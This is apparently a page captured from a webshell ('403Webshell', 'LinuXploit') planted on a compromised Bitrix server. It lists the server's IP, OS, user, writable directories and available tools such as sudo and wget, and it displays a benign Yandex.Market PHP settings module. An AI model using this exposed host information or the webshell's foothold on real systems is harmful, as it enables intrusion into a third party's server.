403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/trading/facade/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/trading/facade/routine.php
<?php

namespace Yandex\Market\Trading\Facade;

use Yandex\Market;
use Yandex\Market\Trading\Setup as TradingSetup;

class Routine
{
	public static function mergeSettings(TradingSetup\Model $setup, array $overrides)
	{
		$settings = $overrides + $setup->getSettings()->getValues();

		static::writeDatabase($setup, $settings);
		static::passValues($setup, $settings);
	}

	public static function copySettings(TradingSetup\Model $from, TradingSetup\Model $to, array $overrides = [])
	{
		$settings = $overrides + $from->getSettings()->getValues();

		if ($from->getServiceCode() !== $to->getServiceCode() || $from->getBehaviorCode() !== $to->getBehaviorCode())
		{
			$fields = $to->getService()->getOptions()->getFields();

			$settings = array_intersect_key($settings, $fields);
			$settings = static::fillSettingsDefaults($fields, $settings);
			$settings = static::sanitizeSettingsEnum($fields, $settings);
		}

		static::writeDatabase($to, $settings);
		static::passValues($to, $settings);
	}

	protected static function fillSettingsDefaults($fields, $values)
	{
		$result = $values;

		foreach ($fields as $fieldName => $field)
		{
			if (!isset($field['SETTINGS']['DEFAULT_VALUE'])) { continue; }
			if (!empty($field['SETTINGS']['READONLY'])) { continue; }

			$isHidden = (!empty($field['HIDDEN']) && $field['HIDDEN'] === 'Y');
			$defaultValue = $field['SETTINGS']['DEFAULT_VALUE'];
			$value = Market\Utils\Field::getChainValue($result, $fieldName, Market\Utils\Field::GLUE_BRACKET);

			if ($value === null || $isHidden || $fieldName === 'PERSON_TYPE')
			{
				Market\Utils\Field::setChainValue($result, $fieldName, $defaultValue, Market\Utils\Field::GLUE_BRACKET);
			}
		}

		return $result;
	}

	protected static function sanitizeSettingsEnum($fields, $values)
	{
		$result = $values;

		foreach ($fields as $fieldName => $field)
		{
			$value = Market\Utils\Field::getChainValue($result, $fieldName, Market\Utils\Field::GLUE_BRACKET);
			$userField = Market\Ui\UserField\Helper\Field::extend($field);
			$userField = Market\Ui\UserField\Helper\Field::extendValue($userField, $value, $values);
			$isMultiple = ($userField['MULTIPLE'] !== 'N');

			if (empty($userField['USER_TYPE']['CLASS_NAME'])) { continue; }
			if (!is_callable([$userField['USER_TYPE']['CLASS_NAME'], 'GetList'])) { continue; }

			$query = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'GetList'], $userField);
			$enum = Market\Ui\UserField\Helper\Enum::toArray($query);
			$enumIds = array_column($enum, 'ID');
			$valueIds = $isMultiple && is_array($value) ? $value : [ $value ];
			$existIds = array_intersect($valueIds, $enumIds);

			if (!empty($existIds)) { continue; }

			if (!empty($userField['SETTINGS']['DEFAULT_VALUE']))
			{
				$defaultValue = $userField['SETTINGS']['DEFAULT_VALUE'];
				$enumDefaultIds = $isMultiple && is_array($defaultValue) ? $defaultValue : [ $defaultValue ];
			}
			else
			{
				$enumDefaults = array_filter($enum, static function($option) {
					return isset($option['DEF']) && $option['DEF'] === 'Y';
				});
				$enumDefaultIds = array_column($enumDefaults, 'ID');
			}

			if (empty($enumDefaultIds))
			{
				Market\Utils\Field::unsetChainValue($result, $fieldName, Market\Utils\Field::GLUE_BRACKET);
			}
			else if ($isMultiple)
			{
				Market\Utils\Field::setChainValue($result, $fieldName, $enumDefaultIds, Market\Utils\Field::GLUE_BRACKET);
			}
			else
			{
				Market\Utils\Field::setChainValue($result, $fieldName, reset($enumDefaultIds), Market\Utils\Field::GLUE_BRACKET);
			}
		}

		return $result;
	}

	protected static function writeDatabase(TradingSetup\Model $setup, array $settings)
	{
		$updateResult = TradingSetup\Table::update($setup->getId(), [
			'SETTINGS' => static::convertSettingsToRows($settings),
		]);

		Market\Result\Facade::handleException($updateResult);
	}

	protected static function convertSettingsToRows(array $settings)
	{
		$result = [];

		foreach ($settings as $key => $value)
		{
			$result[] = [
				'NAME' => $key,
				'VALUE' => $value,
			];
		}

		return $result;
	}

	protected static function passValues(TradingSetup\Model $setup, array $settings)
	{
		$setup->wakeupService()->getOptions()->extendValues($settings);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit